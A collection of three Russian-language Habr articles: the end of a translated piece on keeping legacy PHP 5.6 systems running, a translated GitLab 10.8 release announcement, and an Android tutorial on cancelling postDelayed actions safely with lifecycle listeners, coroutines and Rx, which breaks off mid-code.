Я мигрировал многие системы с PHP 5.6 на актуальные версии, и я бы даже не вздумал начинать этот процесс, если бы у меня не было среды для запуска моей личной копии кодовой базы и данных, где я мог бы протестировать работу на разных версиях PHP.
Что хорошего в этих безнадежно устаревших кодовых базах, так это то, что они зачастую работают на очень простом стеке (Apache, PHP, MySQL).
Поскольку многие вещи будут завязаны на других вещах, о которых вы даже не подозреваете, очень легко потерять критически важную функциональность, изменив что-то, что может изначально казаться довольно безобидным. Возможность просто откатиться к версии до того, как вы все сломали, избавит вас и вашего босса от многих поводов для головной боли.
Если в моем рабочем пространстве отсутствует какой-либо рабочий процесс, быстрой промежуточной мерой, которая может ускорить процесс, является использование одного из различных плагинов GIT-FTP (либо для GIT, он может даже подключаться к вашей IDE). Это делает исправление катастрофических ошибок еще быстрее.
И вместе с этим вы сможете даже уйти так, чтобы никто этого не заметил.
Заключительные размышления и рефакторинг
----------------------------------------
Я понимаю, что некоторых читателей, вероятно, настолько пробрало от удовольствия, что у них на клавиатуре появились пару свежих пятен от кофе.
Очевидно, что если у вас есть средства для замены старой системы или рефакторинга ее частей, то вы должны это сделать.
Но это была всего лишь пара мыслей о том, как сбалансировать башню дженги с вашим боссом еще на несколько месяцев или лет, пока ее не заменят или у вас не будет достаточно времени, чтобы внедрить систему, которая не подрывает ваше психическое здоровье.
**И, как всегда, не воспринимайте все близко к сердцу.**
---
Перевод материала подготовлен в преддверии старта курса [«PHP Developer. Professional».](https://otus.pw/CjbM/) | https://habr.com/ru/post/661227/ | null | ru | null |
# Вышел GitLab 10.8: зеркалирование пушей в открытом доступе и инкрементное развертывание
![Картинка для привлечения внимания](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b89/8c1/4a0/b898c14a095564fe27769a910f58790c.jpg)
Мы с радостью представляем вам новую версию GitLab со множеством нововведений и улучшений! В данном релизе мы улучшили автоматизацию релизов, вывели в общий доступ ранее платную функциональность, ускорили исправление уязвимостей безопасности и многое другое.
### Больше уверенности при развертывании
Выпуск новой функциональности всегда сопряжен с волнением, ведь даже при самом строгом тестировании присутствует риск непредвиденных осложнений. Наша новая фича инкрементного развертывания ([Incremental Rollouts](#inkrementnoe-razvertyvanie-premium-ultimate-silver-gold)) позволяет проводить развертывание кода только для определенного подмножества пользователей. Теперь вместо того, чтобы выкатывать обновления сразу для всех пользователей, вы можете постепенно увеличивать количество подов Kubernetes, на которые проводится развертывание. В случае каких-либо осложнений, вы можете откатить изменения до того, как они затронут всю пользовательскую базу целиком. Это нововведение предоставляет дополнительный уровень защиты пользователей от непредвиденных ошибок, что в идеале позволит вам чаще проводить развертывание.
### Зеркалирование пушей теперь в открытом доступе
Изначально [зеркалирование пушей](https://about.gitlab.com/2016/04/22/gitlab-8-7-released/#remote-mirrors-ee-only) было доступно только по платной подписке, однако, с момента ее выхода, эта функциональность была одной из [самых востребованных](https://gitlab.com/gitlab-org/gitlab-ce/issues/18732) пользователями — многие просили перевести ее в общий доступ. Мы серьезно относимся к таким вопросам и считаем, что поиск идеального баланса между платной и общедоступной функциональностью является одним из ключевых направлений [политики управления проектами](https://about.gitlab.com/stewardship/). Поэтому, начиная с данного релиза, зеркалирование пушей [выходит в открытый доступ](#zerkalirovanie-pushey-teper-v-otkrytom-dostupe-core-starter-premium-ultimate-free-bronze-silver-gold).
Благодаря этому у пользователей GitLab Core появляются новые возможности, связанные среди прочего с фриланс разработкой и миграцией. Фрилансеры теперь смогут проводить зеркалирование любого клиентского репозитория, а пользователи, переходящие на GitLab из других git-репозиториев, смогут воспользоваться возможностями зеркалирования для упрощения процесса миграции.
По возможности мы стремимся к выводу функциональности в открытый доступ, как для того, чтобы привлекать новых пользователей GitLab, так и для того, чтобы увеличивать количество людей, [участвующих в разработке ПО с открытым исходным кодом](https://about.gitlab.com/contributing/).
### Ускорение работы с уязвимостями
Практически невозможно отслеживать уязвимости в коде без какой-либо автоматизации, поэтому в GitLab включено несколько встроенных систем безопасности, таких как [SAST](https://docs.gitlab.com/ee/user/project/merge_requests/sast.html), [DAST](https://docs.gitlab.com/ee/user/project/merge_requests/dast.html), а также сканирование [контейнеров](https://docs.gitlab.com/ee/user/project/merge_requests/container_scanning.html) и [зависимостей](https://docs.gitlab.com/ee/user/project/merge_requests/dependency_scanning.html). В данном релизе мы продолжаем работу в этом направлении.
При обнаружении уязвимости нужно либо исправить ее, либо проигнорировать в случае ложноположительного срабатывания. Наши новые [интерактивные отчеты безопасности](#interaktivnaya-obratnaya-svyaz-v-otchetah-bezopasnosti-alfa-versiya-ultimate-gold) позволят вам выполнять соответствующее действие прямо из отчета: вы сможете либо отклонить уязвимость, либо создать задачу по ее устранению. Данная функциональность упрощает процесс работы с уязвимостями и, как следствие, ускоряет выпуск безопасного кода.
### Ждем вашего ответа!
Мы с нетерпением ждем вашей реакции на нововведения этого релиза — что вам понравилось? Что нам следует улучшить? Мы с интересом прочитаем ваши комментарии к [оригиналу статьи](https://about.gitlab.com/2018/05/22/gitlab-10-8-released/) и продолжим работу над улучшением GitLab.
Спасибо за ваше участие!
![GitLab MVP badge](https://habrastorage.org/r/w1560/getpro/habr/post_images/1f4/2b7/125/1f42b7125b8e58f40d41c3350cac3ffa.png)
[MVP](https://about.gitlab.com/mvp/) этого месяца — [Alexis Reigel](https://gitlab.com/koffeinfrei)
---------------------------------------------------------------------------------------------------
Alexis добавил очень полезную возможность создания [общих CI Runner’ов для групп](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9646). Эту функциональность пользователи просили более года, и вклад Alexis наконец позволил претворить ее в жизнь. Теперь управлять Runner’ами проектов определенной группы стало намного проще.
Спасибо, Alexis! В знак благодарности мы отправили ему фирменные кофту, носки и тануки ручной работы с символикой GitLab.
Инкрементное развертывание (PREMIUM, ULTIMATE, SILVER, GOLD)
------------------------------------------------------------
При внесении масштабных изменений в ваше приложение разумно развертывать версию на небольшую подгруппу пользователей с целью получения фидбека и обнаружения возможных проблем. После этого можно последовательно увеличивать процент пользователей, для которых проводится развертывание, пока новая версия полностью не заменит предыдущую. Таким образом, если на каком-то этапе обнаруживаются проблемы, откат продукта затронет меньшее количество пользователей.
В GitLab 10.8 мы добавляем возможность инкрементного развертывания кода на 10, 25, 50 и 100 процентов ваших подов. Вы также можете применять этот подход в [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) с помощью переменной окружения `INCREMENTAL_ROLLOUT_ENABLED`.
![Incremental rollout deployments](https://habrastorage.org/r/w1560/getpro/habr/post_images/b5c/87d/357/b5c87d357dfa4fff056edb197d394b77.png)
[Документация по инкрементному развертыванию](https://docs.gitlab.com/ee/topics/autodevops/index.html#incremental-rollout-to-production)
Зеркалирование пушей теперь в открытом доступе (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
-------------------------------------------------------------------------------------------------------------
Зеркалирование репозиториев позволяет копировать репозитории Git из одной локации в другую. Это упрощает работу с несколькими инстансами GitLab: например, вы можете зеркалировать результаты работы вашей команды в личный инстанс GitLab ваших клиентов. Также зеркалирование пушей упрощает перемещение проекта в GitLab из других репозиториев, причем оригинальный репозиторий, из которого производится перемещение, остается актуальным.
Ранее зеркалирование пушей было доступно в GitLab Starter, а теперь еще и в Core.
[Документация по зеркалированию пушей](https://docs.gitlab.com/ee/workflow/repository_mirroring.html#pushing-to-a-remote-repository)
![Push Mirroring now open source](https://habrastorage.org/r/w1560/getpro/habr/post_images/858/24b/d2e/85824bd2e8f942437b840559ab3f838f.png)
Интерактивная обратная связь в отчетах безопасности (альфа-версия) (ULTIMATE, GOLD)
-----------------------------------------------------------------------------------
Отчеты безопасности помогают находить потенциальные уязвимости вашего ПО, после чего вы можете предпринять действия по их устранению.
Начиная с GitLab 10.8 вы можете создавать задачи по исправлению уязвимостей прямо из окна отчета безопасности. Также вы можете отклонить определенную уязвимость в случае ложноположительного срабатывания. Ваша обратная связь отображается напрямую в отчете.
[Документация по работе с отчетами безопасности](https://docs.gitlab.com/ee/user/project/merge_requests/#interacting-with-security-reports)
![Interactive feedback in security reports (alpha)](https://habrastorage.org/r/w1560/getpro/habr/post_images/bd0/f51/d18/bd0f51d18b1a611d4312f4849582b20b.png)
Нечеткий поиск файлов для Web IDE (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
------------------------------------------------------------------------------------------------
Мы добавили нечеткий (fuzzy) поиск файлов в Web IDE с целью упрощения навигации для крупных проектов. Нечеткий поиск доступен по комбинации клавиш `Cmd + p`/`Ctrl + p`.
Ранее вам нужно было напрямую просматривать дерево файлов проекта для того, чтобы найти определенный файл.
[Документация по Web IDE](https://docs.gitlab.com/ee/user/project/web_ide)
![Fuzzy file finder in the Web IDE](https://habrastorage.org/r/w1560/getpro/habr/post_images/6ac/cee/23d/6accee23d41aeb22cab3998954fe57a1.png)
Коммит отдельных файлов в Web IDE (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
------------------------------------------------------------------------------------------------
Мы добавили возможность добавления (stage) отдельных файлов в коммит в Web IDE, что позволяет совершать коммиты небольшого масштаба. Внесенные изменения добавляются в соответствующий список unstaged changes, после чего из этого списка вы можете выбрать нужные файлы и добавить их в список staged changes — эти файлы станут частью следующего коммита.
[Документация по Web IDE](https://docs.gitlab.com/ee/user/project/web_ide)
![Stage and commit by file in the Web IDE](https://habrastorage.org/r/w1560/getpro/habr/post_images/bda/38d/299/bda38d29943bac418be1245027516084.png)
Графики выполнения задач для групп (PREMIUM, ULTIMATE, SILVER, GOLD)
--------------------------------------------------------------------
[Графики выполнения задач](https://docs.gitlab.com/ee/user/project/milestones/burndown_charts.html) используются во многих проектах для отслеживания прогресса определенного майлстоуна. Поскольку все больше команд используют разделение на группы и подгруппы, мы получили множество запросов на добавление таких графиков на уровне групп.
В данном релизе мы добавляем графики выполнения задач для групповых майлстоунов. Эти графики функционируют абсолютно так же, как и проектные: в них отображается прогресс выполнения всех задач, связанных с майлстоуном, что предоставляет наглядную демонстрацию рабочего процесса. С помощью этих графиков вы можете оценить вероятность выполнения работ в срок и внести необходимые изменения в работу.
По аналогии с проектными графиками выполнения задач, графики для групп учитывают как количество задач, так и их вес. Кроме того, групповые графики учитывают задачи, связанные с майлстоуном, для всех подгрупп соответствующей группы.
[Документация по графикам выполнения задач](https://docs.gitlab.com/ee/user/project/milestones/burndown_charts.html)
![Group milestone burndown chart](https://habrastorage.org/r/w1560/getpro/habr/post_images/ef5/a9d/6c9/ef5a9d6c92f693c81b9cd65e2d6b14be.png)
Метрики Prometheus выходят в общий доступ, включены по умолчанию (CORE, STARTER, PREMIUM, ULTIMATE)
---------------------------------------------------------------------------------------------------
GitLab часто является ключевым элементом цикла поставки ПО, поэтому важно быть уверенным в его стабильной и корректной работе. В предыдущих релизах мы добавили метрики Prometheus для зависимостей Redis и Postgres, а также [несколько экспериментальных метрик в версии 9.3](https://about.gitlab.com/2017/06/22/gitlab-9-3-released/#additional-gitlab-service-metrics). С тех пор мы покрыли метриками ещё некоторые части нашей кодовой базы, а также уменьшили негативное влияние сбора метрик на производительность. Теперь мы используем эти метрики для мониторинга сервиса GitLab.com.
Как следствие прошедших нововведений, мы выводим мониторинг Prometheus в общий доступ (GA, general availability) начиная с версии 10.8. Для всех новых установок GitLab мониторинг будет включен по умолчанию. Также мы выпустили [пробную версию приборной панели Grafana](https://grafana.com/dashboards/5774) для наглядной визуализации метрик.
[Документация по мониторингу Prometheus в GitLab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/gitlab_metrics.html)
![GitLab Prometheus service metrics now GA, on by default for new installations](https://habrastorage.org/r/w1560/getpro/habr/post_images/0f4/b36/aac/0f4b36aac2c5b463df336ae0db4cce10.png)
Другие улучшения GitLab 10.8
----------------------------
### Подтверждение обновлений политики использования (CORE, STARTER, PREMIUM, ULTIMATE)
GitLab готовится к внедрению GDPR и, как часть этого процесса, мы попросили наших пользователей просмотреть и подтвердить обновленные Условия Использования. Вместо того, чтобы использовать эту функциональность один раз и забыть про нее, мы решили добавить ее в GitLab, чтобы пользователи могли использовать эту фичу и в дальнейшем.
При включении этой фичи админом инстанса, пользователи будут обязаны просмотреть Условия Использования и согласиться с ними перед продолжением работы с GitLab. До тех пор, пока пользователь не подтвердит это сообщение, его доступ к GitLab через веб, API и Git будет заблокирован.
Сообщение с Условиями Использования может быть полностью изменено в настройках админа. Также, поскольку это сообщение создается на основе [GitLab-flavored Markdown](https://docs.gitlab.com/ee/user/markdown.html#gitlab-flavored-markdown-gfm), в нем могут даже содержаться ссылки на другие страницы.
Все подтверждения от пользователей хранятся в базе данных, так что вы можете использовать эту информацию в дальнейшем.
[Документация по подтверждению обновлений политики использования](https://docs.gitlab.com/ee/user/admin_area/settings/terms.html)
### Меню поиска и фильтрации по эпикам дорожной карты (ULTIMATE, GOLD)
Меню поиска и фильтрации — очень полезная часть интерфейса, хорошо знакомая пользователям и используемая по всему GitLab. Мы решили использовать эту функциональность для поиска и фильтрации эпиков дорожной карты (roadmap) при ее просмотре.
В этом релизе вы сможете фильтровать эпики по автору и метке в режиме просмотра дорожной карты. Кроме того, вы сможете искать эпики по названию и описанию. Это позволит пользователям находить релевантные им и их командам эпики и добавлять в закладки ссылки, чтобы сохранить настройки поиска.
![Epic roadmap search and filter bar](https://habrastorage.org/r/w1560/getpro/habr/post_images/503/7b8/c1c/5037b8c1c61768518739a9f7d238f049.png)
[Документация по дорожным картам](https://docs.gitlab.com/ee/user/group/roadmap/)
### Обсуждения в API (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Обсуждения (ветки комментариев) появляются во многих частях веб-интерфейса GitLab: в задачах, мерж-реквестах, эпиках, сниппетах и коммитах. В этом релизе мы расширили возможности API, благодаря чему вы сможете получать доступ к обсуждениям и управлять ими прямо через API GitLab, что сделает ваши рабочие процессы еще более гибкими.
[Документация об обсуждениях в API](https://docs.gitlab.com/ee/api/discussions.html)
### SAST для PHP и Java Gradle (ULTIMATE, GOLD)
Статическое тестирование безопасности приложений (SAST) эффективно только в тех случаях, когда ваш проект использует язык программирования, поддерживаемый одним из инструментов GitLab. Именно поэтому мы увеличиваем количество этих языков с каждым релизом, добавляя наиболее популярные из них.
В GitLab 10.8 проекты, написанные на PHP и Java с Gradle могут автоматически проверяться на уязвимости безопасности. Для этого даже не нужно определять язык — он определяется в рантайме автоматически.
![SAST for PHP and Java Gradle](https://habrastorage.org/r/w1560/getpro/habr/post_images/ea4/f0d/681/ea4f0d681a5a94d95f9e36ec67f28dbc.png)
[Документация по SAST](https://docs.gitlab.com/ee/user/project/merge_requests/sast.html#supported-languages-and-frameworks)
### Определение переменных для ручных конвейеров (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Нередко возникает необходимость выполнить единичный запуск CI с одноразовыми значениями настроек, чтобы протестировать конкретный сценарий использования. Например, мы можем временно применить определенную стратегию развертывания или исключить конкретный шаг из процесса сборки приложения.
GitLab 10.8 предлагает возможность определять специальные одноразовые переменные при запуске конвейера вручную. Вам не нужно будет изменять переменные для всего проекта, чтобы выполнить один-единственный специфический запуск, благодаря чему выполнять нестандартные тесты с собственными настройками станет гораздо проще.
![Specify variables for manual pipelines](https://habrastorage.org/r/w1560/getpro/habr/post_images/46c/7fb/cd7/46c7fbcd7ebe3dcd2f167cb37abbf207.png)
[Документация о запуске конвейеров](https://docs.gitlab.com/ee/ci/pipelines.html)
### Мерж-коммиты в виджете мерж-реквеста (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Мы продолжаем работать над маленькими фичами GitLab, которые имеют большое значение при его использовании. Это изменение — хороший тому пример. Если вы используете мерж-коммиты в вашем проекте, ссылка на мерж-коммит будет появляться в виджете мерж-реквеста сразу после мержа. По этой ссылке вы сможете перейти непосредственно к мерж-коммиту.
Для многих рабочих процессов будет полезно иметь возможность переходить прямо к мерж-коммиту. Например, некоторые команды переносят эти мерж-коммиты в релизные ветки или отмечают их тегами для тестирования или развертывания на продакшн. С этим изменением вам будет легче узнать, является ли мерж-реквест частью ветки, которую вы собираетесь разворачивать.
![Merge commit in merge request widget](https://habrastorage.org/r/w1560/getpro/habr/post_images/a72/2ff/a95/a722ffa957a2cb8605585d56aceffbf9.png)
[Документация о мерж-реквестах](https://docs.gitlab.com/ee/user/project/merge_requests/)
### Системные заметки для добавления веса задачи (STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD)
Вес задачи позволяет сопоставить задаче GitLab определенное численное значение, указывающее на ее объем. В частности, команды используют веса задач для планирования разработки при работе по Agile или по другим методологиям, основанным на гибкой разработке. В этом релизе мы добавили системные заметки, появляющиеся каждый раз, когда вы добавляете или изменяете вес задачи. Это поможет членам команды отслеживать изменения для оценки работ, а также просто узнавать, когда была произведена первая оценка.
![System note for adding issue weight](https://habrastorage.org/r/w1560/getpro/habr/post_images/912/b66/782/912b66782fd45e6b68e72330a4375094.png)
[Документация по весам задач](https://docs.gitlab.com/ee/workflow/issue_weight.html)
### Вес задачи и статус блокировки в экспорте CSV (STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD)
В этом релизе мы добавили в экспорт CSV вес задачи и статус ее блокировки. Это дает вам еще больше информации о задачах, чтобы вы могли провести любой тип анализа и рабочих процессов вне GitLab.
[Документация по экспорту CSV](https://docs.gitlab.com/ee/user/project/issues/csv_export.html)
### Мерж-реквесты GitLab в Jira Development Panel (PREMIUM, ULTIMATE, SILVER, GOLD)
В этом релизе мы улучшили интеграцию с Jira Development Panel: теперь она включает мерж-реквесты GitLab. Это значит, что, если вы используете специальную [интеграцию](https://docs.gitlab.com/ee/integration/jira_development_panel.html), в боковой панели связанной задачи Jira вдобавок к коммитам и веткам Gitlab будут отображаться еще и мерж-реквесты.
Обратите внимание, что в интерфейсе Jira мерж-реквесты называются «pull requests».
![GitLab merge requests in Jira Development Panel](https://habrastorage.org/r/w1560/getpro/habr/post_images/55b/d7e/981/55bd7e981a50d8f1c12480bca47a93c1.png)
[Документация по интеграции с GitLab Jira Development Panel](https://docs.gitlab.com/ee/integration/jira_development_panel.html)
### Уведомления на email для комментариев по эпикам (ULTIMATE, GOLD)
В предыдущем релизе мы представили треды комментариев для эпиков. В этом релизе мы сделали совместную работу над эпиками еще более похожей на остальные части GitLab — за счет добавления email уведомлений. Как и ранее в задачах и мерж-реквестах, вы будете получать уведомления на email (указанный вами в настройках GitLab) после соответствующей активности в эпике. Например, когда член команды упоминает вас в описании эпика или комментарии к нему, вы получите уведомление, если вы настроили свои уведомления для группы этого эпика на уровень Participate или выше.
![Epic email notifications](https://habrastorage.org/r/w1560/getpro/habr/post_images/040/de5/628/040de5628e0836456df528fb715d38d0.png)
[Документация по эпикам](https://docs.gitlab.com/ee/user/group/epics/)
### Улучшенное отображение длинных описаний коммитов (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Хорошее описание коммита, которое объясняет, почему было нужно изменение, помогает делать небольшие атомарные коммиты и упрощает чтение логов коммитов для остальных членов команды. Мы улучшили отображение длинных описаний, так что читать их стало еще проще!
![Improved display of long commit messages](https://habrastorage.org/r/w1560/getpro/habr/post_images/894/1c7/e48/8941c7e48ab6ed0f86bf35c81a3c2a0c.png)
### Поддержка встроенных сниппетов (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Сниппеты полезны для обсуждения части кода. Теперь вы можете встраивать публичные сниппеты в ваш веб-сайт. Это очень помогает в документировании, дополнении поста в блоге примерами кода или на личном сайте. За эту возможность спасибо [Haseeb](https://gitlab.com/haseebeqx).
[Документация о поддержке встроенных сниппетов](https://docs.gitlab.com/ee/user/snippets.html#embedded-snippets)
### API для языков проекта (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
С помощью нового API для языков вы сможете собирать статистику по языкам проекта. Это может быть полезно для отчетов или исследований — например, понять, какие языки программирования чаще всего используются в вашей организации или в проекте с открытым исходным кодом на GitLab.com. Спасибо, [Roger](https://gitlab.com/rroger), за твой вклад!
[Документация по API для языков проекта](https://docs.gitlab.com/ee/api/projects.html#languages)
### GitLab Runner для групп (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
У GitLab Runner-ов есть два типа настройки: для целого инстанса (shared) или на уровне проекта (specific). Однако, иногда существует необходимость предоставить набор Runner-ов целой группе проектов, не предоставляя доступ к ним кому-либо извне. На GitLab.com, например, это хорошо работает за счет прямой связи между группами и организациями.
Начиная с GitLab 10.8 вы сможете соединять ваши GitLab Runner с конкретной группой — и каждый проект этой группы получит возможности CI/CD без каких-либо дополнительных настроек. А новые проекты будут получать все преимущества групповых Runner-ов сразу после создания. За эту фичу спасибо [Alexis](https://gitlab.com/koffeinfrei).
![GitLab Runners for groups](https://habrastorage.org/r/w1560/getpro/habr/post_images/3a1/044/79a/3a104479a865e34f93ee74b6b56ce82a.png)
[Документация по настройке GitLab Runners](https://docs.gitlab.com/ee/ci/runners/#shared-specific-and-group-runners)
### Поддержка политики тестового окружения для Auto DevOps (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
До этого релиза Auto DevOps по умолчанию использовал модель непрерывного развертывания: пуш в `production` происходил автоматически каждый раз после запуска конвейера в ветке `master`. Это очень полезно, но иногда для завершенности приложения или доступности продакшн-окружения нужно использовать дополнительное тестовое окружение. Только после прохождения всех проверок на нем можно вручную запускать развертывание в продакшн.
В шаблоне Auto DevOps раньше уже поддерживалась такая возможность, но она не была включена по умолчанию. Если кто-то хотел воспользоваться прогоном через тестовое окружение, нужно было отдельно создать файл `.gitlab-ci.yml`.
Начиная с GitLab 10.8, шаблоны Auto DevOps позволят пользователям включать `staging` с помощью переменной окружения. Вы можете указать `STAGING_ENABLED` для целой группы, для одного проекта или даже для конкретного запуска. Развертывание в `production` нужно будет запускать вручную — и можно будет сделать это в нужное время.
![Staging environment policy support for Auto DevOps](https://habrastorage.org/r/w1560/getpro/habr/post_images/120/d46/a48/120d46a4837c18670ce9b8720662fc05.png)
[Документация о политике развертывания Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#deploy-policy-for-staging-and-production-environments)
### Шаблоны проектов теперь работают с Auto DevOps (CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
В GitLab вы можете легко начать работу над проектом с определенным языком: просто используйте шаблоны. Это позволит вам быстро запустить новое приложение и затем настроить его под свои нужды.
GitLab 10.8 включает усовершенствованные версии шаблонов Rails, Spring и Express, так что при создании новых проектов вы можете использовать все возможности [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). Используя эти улучшенные шаблоны, вы сможете пройти путь от идеи до производства за считанные минуты.
![Project templates now work with Auto DevOps](https://habrastorage.org/r/w1560/getpro/habr/post_images/122/6de/6f3/1226de6f39f6aa50973f61561e2aa8af.png)
[Документация о создании шаблонов, основанных на проектах](https://docs.gitlab.com/ee/gitlab-basics/create-project.html)
### Улучшения Geo (PREMIUM, ULTIMATE, SILVER, GOLD)
* Geo поставляется с Git 2.16.3, что значительно уменьшит время синхронизации репозиториев с большим количеством ссылок.
* После первоначального клонирования репозитория вторичный нод Geo будет выполнять переупаковку (`git pack-objects`), чтобы освободить место на диске. Также он будет регулярно выполнять сборку мусора (`git gc`).
* При включенных проверках репозитория Geo будет периодически запускать `git fsck` на каждом репозитории вторичного нода.
* Улучшены метрики Geo Prometheus: стало проще находить репозитории с несовместимыми контрольными суммами.
[Документация по Geo](https://docs.gitlab.com/ee/administration/geo/replication/configuration.html)
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 10.8 released with incremental rollouts, plus open source push mirroring](https://about.gitlab.com/2018/05/22/gitlab-10-8-released/).
Над переводом с английского работали [rishavant](https://habr.com/users/rishavant/) и [sgnl\_05](https://habr.com/users/sgnl_05/). | https://habr.com/ru/post/413485/ | null | ru | null |
# Чем опасен postDelayed
Часто из-за особенностей работы android системы и sdk, нам необходимо подождать, когда определённая часть системы будет сконфигурирована или произойдёт какое-то необходимое нам событие. Зачастую это является костылём, но иногда без них никак, особенно в условиях дедлайнов. Поэтому во многих проектах для этого использовался postDelayed. Под катом рассмотрим, чем же он так опасен и что с этим делать.
Проблема
========
Для начала рассмотрим как обычно используют postDelayed():
```
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
view.postDelayed({
Log.d("test", "postDelayed")
// do action
}, 100)
}
```
С виду всё хорошо, но давайте изучим этот код повнимательнее:
1) Это отложенное действие, выполнение которого мы будем ожидать через некоторое время. Зная насколько динамично пользователь может совершать переходы между экранами, данное действие должно быть отменено при смене фрагмента. Однако, этого здесь не происходит, и наше действие выполнится, даже если текущий фрагмент будет уничтожен.
Проверить это просто. Создаём два фрагмента, при переходе на второй запускаем postDelayed с большим временем, к примеру 5000 мс. Сразу возвращаемся назад. И через некоторое время видим в логах, что действие не отменено.
2) Второе "вытекает" из первого. Если в данном runnable мы передадим ссылку на property нашего фрагмента, будет происходить утечка памяти, поскольку ссылка на runnable будет жить дольше, чем сам фрагмент.
3) Третье и основное почему я об этом задумался:
Падения приложения, если мы обращаемся ко view после onDestroyView
`synthitec - java.lang.NullPointerException`, поскольку кеш уже очищен при помощи `_$_clearFindViewByIdCache`, а `findViewById` отдаёт `null`
`viewBinding - java.lang.IllegalStateException: Can't access the Fragment View's LifecycleOwner when getView() is null`
Что же делать?
==============
1. Если нам нужные размеры view — использовать [doOnLayout](https://developer.android.com/reference/kotlin/androidx/core/view/package-summary#doonlayout) или [doOnNextLayout](https://developer.android.com/reference/kotlin/androidx/core/view/package-summary#doonnextlayout)
2. Перенести ожидание в компонент, ответственный за бизнес-логику отображения (Presenter/ViewModel или что-то другое). Он в свою очередь должен устанавливать значения во фрагмент в правильный момент его жизненного цикла или отменять действие.
3. Использовать безопасный стиль.
Необходимо отписываться от нашего действия перед тем, как view будет отсоединено от window.
```
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
Runnable {
// do action
}.let { runnable ->
view.postDelayed(runnable, 100)
view.addOnAttachStateChangeListener(object : View.OnAttachStateChangeListener {
override fun onViewAttachedToWindow(view: View) {}
override fun onViewDetachedFromWindow(view: View) {
view.removeOnAttachStateChangeListener(this)
view.removeCallbacks(runnable)
}
})
}
}
```
Обычный doOnDetach нельзя использовать, поскольку view может быть ещё не прикреплено к window, как к примеру в onViewCreated. И тогда наше действие будет сразу же отменено.
Где то во View.kt:
```
inline fun View.doOnDetach(crossinline action: (view: View) -> Unit) {
if (!ViewCompat.isAttachedToWindow(this)) { // выполнится это условие
action(this) // и здесь мы сразу же отпишемся от действия
} else {
addOnAttachStateChangeListener(object : View.OnAttachStateChangeListener {
override fun onViewAttachedToWindow(view: View) {}
override fun onViewDetachedFromWindow(view: View) {
removeOnAttachStateChangeListener(this)
action(view)
}
})
}
}
```
Или же обобщим в extension:
```
fun View.postDelayedSafe(delayMillis: Long, block: () -> Unit) {
val runnable = Runnable { block() }
postDelayed(runnable, delayMillis)
addOnAttachStateChangeListener(object : View.OnAttachStateChangeListener {
override fun onViewAttachedToWindow(view: View) {}
override fun onViewDetachedFromWindow(view: View) {
removeOnAttachStateChangeListener(this)
view.removeCallbacks(runnable)
}
})
}
```
В принципе на этом можно остановится. Все проблемы решены. Но этим мы добавляем ещё один тип асинхронного выполнения к нашему проекту, что несколько усложняет его. Сейчас в мире Native Android есть 2 основных решения для асинхронного выполнения кода — Rx и Coroutines.
Попробуем использовать их.
Сразу оговорюсь, что не претендую на 100% правильность по отношению к вашему проекту. В вашем проекте это может быть по другому/лучше/короче.
Coroutines
==========
Обычно во всех проектах есть базовый фрагмент для инжекта зависимостей, настройки di и так далее. Используем его для обобщения работы с отменой отложенных действий:
```
class BaseFragment(@LayoutRes layoutRes: Int) : Fragment(layoutRes), CoroutineScope by MainScope() {
override fun onDestroyView() {
super.onDestroyView()
coroutineContext[Job]?.cancelChildren()
}
override fun onDestroy() {
super.onDestroy()
cancel()
}
}
```
Нам необходимо отменять все дочерние задачи в onDestroyView, но при этом не закрывать scope, поскольку после этого возможно вновь создание View без пересоздания Fragment. К примеру при роутинге вперёд на другой Fragment и после этого назад на текущий.
В onDestroy уже закрываем scope, так как далее никаких задач не должно быть запущено.
Все подготовительные работы сделаны.
Перейдём к самой замене postDelayed:
```
fun BaseFragment.delayActionSafe(delayMillis: Long, action: () -> Unit): Job? {
view ?: return null
return launch {
delay(delayMillis)
action()
}
}
```
Так как нам не нужно, чтобы наши отложенные задачи выполнялись, если view уже уничтожено, просто не запускаем ничего и возвращаем null. Иначе запускаем наше действие с необходимой задержкой. Но теперь при уничтожении view, задача будет отменена и ресурсы будут отпущены.
Как правильно подметил [Keanu\_Reeves](https://habr.com/ru/users/keanu_reeves/), можно подключить [androidx.lifecycle:lifecycle-runtime-ktx:2.2.0-alpha01 или выше](https://developer.android.com/topic/libraries/architecture/coroutines#dependencies) и у нас уже будет готовый scope:
```
viewLifecycleOwner.lifecycleScope
```
```
fun Fragment.delayActionSafe(delayMillis: Long, action: () -> Unit): Job? {
view ?: return null
return viewLifecycleOwner.lifecycleScope.launch {
delay(delayMillis)
action()
}
}
```
RX
==
В RX за отмену подписок отвечает класс Disposable, но в RX нет Structured concurrency в отличии от coroutine. Из-за этого приходится прописывать это всё самому. Выглядит обычно это примерно так:
```
interface DisposableHolder {
fun dispose()
fun addDisposable(disposable: Disposable)
}
class DisposableHolderImpl : DisposableHolder {
private val compositeDisposable = CompositeDisposable()
override fun addDisposable(disposable: Disposable) {
compositeDisposable.add(disposable)
}
